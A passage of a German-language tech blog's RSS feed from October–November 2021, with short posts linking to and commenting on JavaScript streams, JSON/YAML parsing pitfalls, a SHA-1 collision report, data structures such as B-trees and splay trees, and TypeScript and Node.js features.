&lt;p&gt;Vor ein paar Jahren (2014) hat man Web Streams standardisiert. Das ist sowas wie die Streams aus Node.js, aber als &lt;a href=&quot;https://blog.whatwg.org/streams&quot;&gt;Standard für den Browser&lt;/a&gt;. Stellt sich heraus: Bei einem &lt;code&gt;fetch&lt;/code&gt;-Request muss man nicht zwingend &lt;code&gt;await&lt;/code&gt; (oder &lt;code&gt;.then()&lt;/code&gt;) nutzen, um die Antwort zu verarbeiten. Die Property &lt;code&gt;response.body&lt;/code&gt; ist ein Stream, den man durch andere Dinge pipen kann.&lt;/p&gt;
&lt;p&gt;Auch andere Klassen, wie z. B. &lt;code&gt;Blob&lt;/code&gt;, haben eher weniger bekannte Stream-Schnittstellen. So kann man auch WebSockets als ReadableStream wrappen, um mit den Nachrichten einfacher umgehen zu können.&lt;/p&gt;
&lt;p&gt;Ein sehr lohnender Artikel!&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/10/0.html</guid><pubDate>Sun, 10 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus meiner HTML-/JS-Quicktips-Reihe: &lt;a href=&quot;https://nodejs.org/dist/latest-v16.x/docs/api/url.html#url_the_whatwg_url_api&quot;&gt;Es gibt eine coole, neue URL-API&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/11/0.html</guid><pubDate>Mon, 11 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bei mit sterben immer meine Kräuterpflanzen in der Küche. Vielleicht gieße ich sie zu wenig, vielleicht zu viel. Ich weiß es nicht.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://achnina.de/logbuch/f/selbstbew%C3%A4ssernder-blumentopf&quot;&gt;Diesen selbstbewässernden Blumentopf&lt;/a&gt; werde ich mal ausprobieren. Was ich besonders gut finde: Das ist keine sinnlose Technik-Bastelei mit ESPs oder Feuchtigkeitssensoren. Das ist ein rein mechanischer Mechanismus.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/11/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/11/1.html</guid><pubDate>Mon, 11 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus der Reihe bekannterer Blogposts: &lt;a href=&quot;http://seriot.ch/projects/parsing_json.html&quot;&gt;Parsing JSON is a Minefield&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Falls Euch wieder jemand sagt, dass man ja JSON ganz einfach parsen kann und man einen Parser auch mal schnell selbst schreiben kann. Nein, kannst du nicht. Jedenfalls keinen, der in der realen Welt Daten von anderen Stellen entgegen nehmen wird. Kleiner Auszug aus dem Post:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Yet JSON is defined in at least seven different documents:&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/11/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/11/2.html</guid><pubDate>Mon, 11 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wo wir gerade bei JSON waren und jetzt kommt &quot;dann nehm&apos; ich einfach YAML, das ist ganz einfach und man kann es auch einfach parsen&quot;. YAML ist ein Superset von JSON. Das heißt, dass wir alle JSON-Probleme weiterhin haben.&lt;/p&gt;
&lt;p&gt;Dazu kommt, dass das restliche Format auch nicht so gut ist. Hier wieder ein bekannter Blogpost: &lt;a href=&quot;https://www.arp242.net/yaml-config.html&quot;&gt;YAML: probably not so great after all&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ein Zitat aus dem Post:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;YAML may seem ‘simple’ and ‘obvious’ when glancing at a basic example, but turns out it’s not. The YAML spec is 23,449 words; for comparison, TOML is 3,339 words, JSON is 1,969 words, and XML is 20,603 words.
[...]
For example did you know there are &lt;em&gt;nine&lt;/em&gt; ways to write a multi-line string in YAML with subtly different behavior?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;YAML hat auch ein berühmtes &lt;a href=&quot;https://hitchdev.com/strictyaml/why/implicit-typing-removed/&quot;&gt;Problem&lt;/a&gt;. Ihr könnt ja mal überlegen, was man hier nach dem Parsen erhält:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;countries:
- GB
- IE
- FR
- DE
- NO
- US
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dann probiert es jetzt aus, oder schaut in den verlinkten Artikel.&lt;/p&gt;
&lt;p&gt;Sowas ähnliches ist auch der Grund, warum man &lt;a href=&quot;https://stackoverflow.com/a/59743942&quot;&gt;bei docker-compose-Files die Port-Mappings immer in Anführungsstriche schreiben sollte&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/12/0.html</guid><pubDate>Tue, 12 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table&quot;&gt;All about Procedure Linkage Table&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/12/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/12/1.html</guid><pubDate>Tue, 12 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://duo.com/decipher/sha-1-fully-and-practically-broken-by-new-collision&quot;&gt;SHA-1 ist jetzt noch kaputter, als es schon war&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wie kaputt?&lt;/p&gt;
&lt;p&gt;Es ist eine &lt;a href=&quot;https://en.wikipedia.org/wiki/Collision_attack&quot;&gt;Chosen-Prefix-Kollision&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Using our SHA-1 chosen-prefix collision, we have created two PGP keys with different UserIDs and colliding certificates: key B is a legitimate key for Bob (to be signed by the Web of Trust), but the signature can be transferred to key A which is a forged key with Alice’s ID. The signature will still be valid because of the collision, but Bob controls key A with the name of Alice, and signed by a third party. Therefore, he can impersonate Alice and sign any document in her name,”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Edit: Oh, das ist ja aus 2020. Hab ich nicht mitbekommen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/12/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/12/ds.html</guid><pubDate>Tue, 12 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
&lt;a href=&quot;https://en.wikipedia.org/wiki/Log-structured_merge-tree&quot;&gt;Log-Structured-Merge-Tree&lt;/a&gt; (LSM-Tree).&lt;/p&gt;
&lt;p&gt;Das ist ein Suchbaum. Die Idee: Man hat mehrere Bäume (Bei Wikipedia C_0 und C_1). Der erste Baum liegt im RAM, der zweite auf der Festplatte. Neue Einträge kommen in den RAM. Wenn C_0 einen Threshold übersteigt, werden Daten von C_0 nach C_1 migriert, also auf die Festplatte.&lt;/p&gt;
&lt;p&gt;Der Vorteil: Neu eingesetzte Daten liegen direkt im RAM und können schnell abgerufen werden. Aus diesem Grund wird diese Struktur auch gern bei In-Memory-Datenbanken verwendet.&lt;/p&gt;
&lt;p&gt;Es kommt auch vor, dass man mehrere Level an Bäumen hat, z. B. ein C_2, das irgendwo auf einem anderen Server im Cluster liegt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>tree</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/13/0.html</guid><pubDate>Wed, 13 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://typesetinthefuture.com/2014/01/31/2001-a-space-odyssey/&quot;&gt;Typography of “2001: A Space Odyssey”&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typographie</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/14/0.html</guid><pubDate>Thu, 14 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein cooles &lt;a href=&quot;https://sqlime.org&quot;&gt;SQLite fiddle&lt;/a&gt;. Läuft komplett im Browser. Kann auch statisch gehostete SQLite-DBs als Quelle nehmen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/18/0.html</guid><pubDate>Mon, 18 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.infoworld.com/article/3637073/python-stands-to-lose-its-gil-and-gain-a-lot-of-speed.html&quot;&gt;Python könnte den GIL verlieren&lt;/a&gt;. Der GIL steht Python seit langer Zeit im Weg, sinnvoll nutzbares Multithreading zu machen. Deshalb macht man in Python aktuell meist Multi-Processing (oder man parallelisiert innerhalb von C-Extensions, z. B. direkt in numpy).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>python</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/18/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/18/1.html</guid><pubDate>Mon, 18 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein &lt;a href=&quot;https://gitexplorer.com&quot;&gt;Command-Explorer für Git&lt;/a&gt;, der ein tl;dr zu allen Commands gibt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/19/0.html</guid><pubDate>Tue, 19 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.redis.com/howtos/antipatterns/&quot;&gt;Redis Anti-Patterns&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/19/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/19/ds.html</guid><pubDate>Tue, 19 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
&lt;a href=&quot;https://en.wikipedia.org/wiki/B-tree&quot;&gt;B-Bäume&lt;/a&gt; und &lt;a href=&quot;https://en.wikipedia.org/wiki/B%2B_tree&quot;&gt;B+-Bäume&lt;/a&gt; (nein, das &lt;code&gt;B&lt;/code&gt; steht nicht für &quot;Binary&quot;). Beides selbst-balancierende Suchbäume.&lt;/p&gt;
&lt;p&gt;Was ist &quot;Balancierend&quot;?
Wenn man einen Baum hat, in dem man Daten sucht, ist die Zeit, die man braucht, um ein Element zu finden, häufig an die Höhe des Baums gebunden. Es ist also von Vorteil, wenn der Baum möglichst niedrig ist.
Je nach Baum kann es aber vorkommen, dass es einen langen Pfad gibt, der deutlich länger als die anderen im Baum ist. Sowas ist immer ungünstig, wenn man dann genau eines der Elemente sucht, das sich in diesem langen Pfad befindet.
Hierfür hat balanciert man Bäume - d.h. man ordnet die Knoten so um, dass die Blätter des Baums immer in etwa auf der gleichen Höhe hängen.
&quot;Selbst-balancierend&quot; heißt hier, dass das nicht ein Prozess ist, der ab und zu mal angestoßen wird, sondern dass die Operationen auf dem Baum (einfügen, Löschen etc.) so definiert sind, dass er sich beim Verändern entsprechend balanciert.&lt;/p&gt;
&lt;p&gt;Beide Strukturen werden häufig in Datenbanken und vor allem in Dateisystemen verwendet, z. B. bei &lt;a href=&quot;https://en.wikipedia.org/wiki/NTFS&quot;&gt;NTFS&lt;/a&gt; und &lt;a href=&quot;https://en.wikipedia.org/wiki/Ext4&quot;&gt;ext4&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>tree</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/20/0.html</guid><pubDate>Wed, 20 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://iconmap.io/blog&quot;&gt;Eine kleine Analyse von 425k Favicons&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/21/0.html</guid><pubDate>Thu, 21 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V17.md#17.0.0&quot;&gt;Node.js 17&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Neu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Support für &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames&quot;&gt;&lt;code&gt;Intl.DisplayNames&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Eine Promise-basierte &lt;code&gt;readline&lt;/code&gt;-API:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import * as readline from &apos;node:readline/promises&apos;;
import { stdin as input, stdout as output } from &apos;process&apos;;

const rl = readline.createInterface({ input, output });

const answer = await rl.question(&apos;What do you think of Node.js? &apos;);

console.log(`Thank you for your valuable feedback: ${answer}`);

rl.close();
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/23/0.html</guid><pubDate>Sat, 23 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://bonkersworld.net/organizational-charts&quot;&gt;Organisationsformen einiger großer IT-Firmen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/24/0.html</guid><pubDate>Sun, 24 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ijmacd.github.io/rfc3339-iso8601&quot;&gt;RFC 3339 vs ISO 8601&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/25/0.html</guid><pubDate>Mon, 25 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://beyondgrep.com/feature-comparison&quot;&gt;Feature comparison of ack, ag, git-grep, GNU grep and ripgrep&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/26/0.html</guid><pubDate>Tue, 26 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://cooklang.org/&quot;&gt;CookLang – Recipe Markup Language&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/26/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/26/ds.html</guid><pubDate>Tue, 26 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Mir ist aufgefallen, das ich sehr viele Bäume poste. Heute mal kein Baum, sondern eine verkettete Liste mit einem Trick: Die &lt;a href=&quot;https://en.wikipedia.org/wiki/XOR_linked_list&quot;&gt;XOR-Linked-List&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das ist eine Doppelt-Verkettete-Linked-List. Bei dieser Variante wird an jedem Knoten aber nur &lt;em&gt;ein&lt;/em&gt; Pointer für die Prev- bzw. Next-Nodes benötigt. Dieser Pointer ist kein Pointer in dem Sinne, sondern das XOR des Prev- und Next-Pointers.&lt;/p&gt;
&lt;p&gt;Das geht, weil man beim Traversieren der Liste ja weiß, von welchem Element man kommt. Man kann deshalb immer die Adresse des nächsten (bzw vorherigen) kNotens ausrechnen, indem man den Pointer, von dem man kommt, mit XOR drauf rechnet.&lt;/p&gt;
&lt;p&gt;Warum man diese Struktur in der Praxis nicht wirklich sieht? Das kann man gut an der Sektion &quot;Drawbacks&quot; auf Wikipedia lesen. Naja, und eigentlich ist&apos;s jetzt nicht so krass, einen Pointer pro Node einzusparen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>list</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/28/0.html</guid><pubDate>Thu, 28 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein ls-Ersatz, geschrieben in Rust: &lt;a href=&quot;https://the.exa.website/introduction&quot;&gt;exa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Verwende ich schon etwas länger und hab mich mittlerweile an den bunten Output gewöhnt. Ist leider kein Drop-In-Replacement, da die CLI-Params nicht gleich sind.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/28/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/28/1.html</guid><pubDate>Thu, 28 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://bengtan.com/blog/open-secrets-hacker-news/&quot;&gt;Open secrets about Hacker News&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>hn</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/28/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/28/2.html</guid><pubDate>Thu, 28 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tinysheet.com&quot;&gt;Ein kleines 2x10-Zellen-Excel&lt;/a&gt;. Ist vielleicht ganz praktisch, wenn man etwas schnell ausrechnen muss, man ber kein Excel/Calc zur Hand hat. Ich persönlich nehme dann meistens ein Python- oder Node.js-REPL. Aber manchmal will man ja eher sowas.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/10/28/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/10/28/3.html</guid><pubDate>Thu, 28 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://codegolf.stackexchange.com/a/236630&quot;&gt;55GiB/s FizzBuzz&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/01/0.html</guid><pubDate>Mon, 01 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Lesetipp: &lt;a href=&quot;https://blog.royalsloth.eu/posts/they-dont-even-know-the-fundamentals/&quot;&gt;They don&apos;t even know the fundamentals&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/01/1.html</guid><pubDate>Mon, 01 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://meta.company&quot;&gt;Kennt Ihr schon Meta&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/02/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/02/ds.html</guid><pubDate>Tue, 02 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Der &lt;a href=&quot;https://en.wikipedia.org/wiki/Splay_tree&quot;&gt;Splay-Tree&lt;/a&gt;. Ist von den Zugriffszeiten im Prinzip wie viele andere selbst-balancierte Bäume, aber mit einem Unterschied:
Er schreibt auch bei Lesezugriff. So sortiert er häufig zugegriffene Nodes so um, dass sie schneller gefunden werden.&lt;/p&gt;
&lt;p&gt;Bei zufälligem Zugriff performt er wie andere Bäume. Aber wenn im Zugriff ein Muster ist, kann seine Optimierung richtig zutrage kommen und wird ggf. schneller als &lt;code&gt;O(log(n))&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ich wollte diesen Baum mal in Rust implementieren, als Übungsaufgabe. Dann ist mir aufgefallen, dass der echt nicht so geil für alles ist, was mehr als einen Thread hat, da auch Leseoperationen schreibend zugreifen (naja, das war ja auch sein Vorteil). Vielleicht gibt&apos;s da eine bessere Variante von, die dieses Problem nicht hat? Vielleicht eine, bei der jeder Thread seine Thread-Local-Kopie hat und nur die &quot;richtigen&quot; schreibenden Operationen synchronisiert werden? Wenn jemand eine Idee hat, her damit!&lt;/p&gt;
&lt;p&gt;Wie viele Datenstrukturen ist er schon etwas älter und kommt aus 1985.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>tree</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/03/0.html</guid><pubDate>Wed, 03 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein Stylesheet, mit dem man debuggen kann, was im &lt;code&gt;head&lt;/code&gt;-Element möglicherweise für Probleme sorgen kann: &lt;a href=&quot;https://github.com/csswizardry/ct&quot;&gt;ct.css&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/03/1.html</guid><pubDate>Wed, 03 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bei TypeScript wurde neulich der Pull-Request &lt;a href=&quot;https://github.com/microsoft/TypeScript/pull/46266&quot;&gt;Control Flow Analysis for Destructured Discriminated Unions&lt;/a&gt; gemergt. Das hört sich erstmal kompliziert an, das Prinzip ist aber ganz simpel: Wenn eine Variable aus einem Objekt kommt, und mit der Variable irgendwelche Überprüfungen stattfinden, hat das auch Auswirkungen auf den Typen des Objekts, aus dem die Variable ursprünglich mal kam.&lt;/p&gt;
&lt;p&gt;Bisher konnte man den Kontrollfluss auch schon verwenden, um den Typen des Objekts genauer zu spezifizieren. Allerdings musste man dann immer direkt auf das Objekt referenzieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Action =
    | { kind: &apos;A&apos;, payload: number }
    | { kind: &apos;B&apos;, payload: string };

function f11(action: Action) {
    if (action.kind === &apos;A&apos;) {
        // `action.kind` ist &apos;A&apos;, daher ist `action.payload` an dieser Stelle eine number
        action.payload.toFixed();
    }
    if (action.kind === &apos;B&apos;) {
        // `action.kind` ist &apos;B&apos;, daher ist `action.payload` an dieser Stelle ein string
        action.payload.toUpperCase();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Das neue aus dem PR ist, dass das &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment&quot;&gt;Destructuring&lt;/a&gt; die Verbindung zur Herkunft nicht verliert. Und das funktioniert jetzt sogar bi-direktional. Also funktioniert jetzt auch das:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Action =
    | { kind: &apos;A&apos;, payload: number }
    | { kind: &apos;B&apos;, payload: string };

function f11(action: Action) {
    const { kind, payload } = action;
    if (kind === &apos;A&apos;) {
        // `kind` kam aus `action`, daher ist `payload` an dieser Stelle eine number
        payload.toFixed();
    }
    if (kind === &apos;B&apos;) {
        // `kind` kam aus `action`, daher ist `payload` an dieser Stelle ein string
        payload.toUpperCase();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ich will mir garnicht ausmalen, wie komplex die Umsetzung dafür gewesen sein muss.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/06/0.html</guid><pubDate>Sat, 06 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wir haben alle in der Schule gelernt, dass wenn ein Aufruf von &lt;code&gt;malloc&lt;/code&gt; einen Null-Pointer zurückgibt, die Allocation nicht funktioniert hat, z. B. weil kein Speicher mehr vorhanden war.&lt;/p&gt;
&lt;p&gt;Das stimmt auch, aber das tritt heutzutage gar nicht mehr auf. Nicht, weil wir so viel Speicher haben. Sondern, weil &lt;a href=&quot;https://lemire.me/blog/2021/10/27/in-c-how-do-you-know-if-the-dynamic-allocation-succeeded/&quot;&gt;das Betriebssystem stets sagt &quot;ja, kannst du haben&quot;&lt;/a&gt; und erst beim Schreiben auf den Speicher schaut, ob das überhaupt funktioniert. Dieses Prinzip nennt sich &quot;Overcommitment&quot; und ist meist bei unixoiden Systemen anzutreffen. &lt;a href=&quot;https://news.ycombinator.com/item?id=29123678&quot;&gt;Laut den interessanten Kommentaren auf HN&lt;/a&gt; macht NT das nicht.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/09/0.html</guid><pubDate>Tue, 09 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://hakibenita.com/postgresql-unknown-features&quot;&gt;Lesser Known PostgreSQL Features&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/09/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/09/1.html</guid><pubDate>Tue, 09 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://sebastian-holstein.de/post/2021-11-08-go-1.18-features/&quot;&gt;Go 1.18 kommt mit Generics&lt;/a&gt;. Interessant ist auch der built-in Fuzzing-Support.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/09/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/09/ds.html</guid><pubDate>Tue, 09 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Heute keine &quot;Datenstruktur&quot;, eher ein Algorithmus. Aber das ist ja quasi beides das gleiche bzw nicht voneinander zu trennen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikibooks.org/wiki/Data_Mining_Algorithms_In_R/Frequent_Pattern_Mining/The_FP-Growth_Algorithm&quot;&gt;FP-Growth&lt;/a&gt; (Frequent-Pattern) kommt zusammen mit dem FP-Tree. Der Algorithmus ist etwas komplizierter. Hier ist &lt;a href=&quot;https://www.mygreatlearning.com/blog/understanding-fp-growth-algorithm/&quot;&gt;noch ein Artikel&lt;/a&gt; und &lt;a href=&quot;https://www.youtube.com/watch?v=GcgfSJAaBto&quot;&gt;ein Video&lt;/a&gt; dazu.&lt;/p&gt;
&lt;p&gt;Was macht der? Das ist der Algorithmus hinter &quot;Kunden, die X und Y kauften, kauften auch...&quot;, also er findet oft zusammen auftretende Einträge. Das macht er sehr effizient, sodass man das auch auf großen Datenmengen (TM) laufen lassen kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>tree</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/10/0.html</guid><pubDate>Wed, 10 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich habe heute gelernt, dass man bei &lt;code&gt;npm init&lt;/code&gt; einen weiteren &lt;a href=&quot;https://docs.npmjs.com/cli/v7/commands/npm-init&quot;&gt;Parameter übergeben kann, einen Initializer&lt;/a&gt;. Das ist ein Wrapper, der solche Dinge wie &lt;code&gt;create-react-app&lt;/code&gt; automatisch ausführt. Ohne den Parameter nennt man das anscheinend &quot;legacy init&quot;.&lt;/p&gt;
&lt;p&gt;Beispiel: Für ein ESM-kompatibles npm-Projekt macht man dann &lt;code&gt;npm init esm&lt;/code&gt; (es wird &lt;a href=&quot;https://www.npmjs.com/package/create-esm&quot;&gt;create-esm&lt;/a&gt; ausgeführt).&lt;/p&gt;
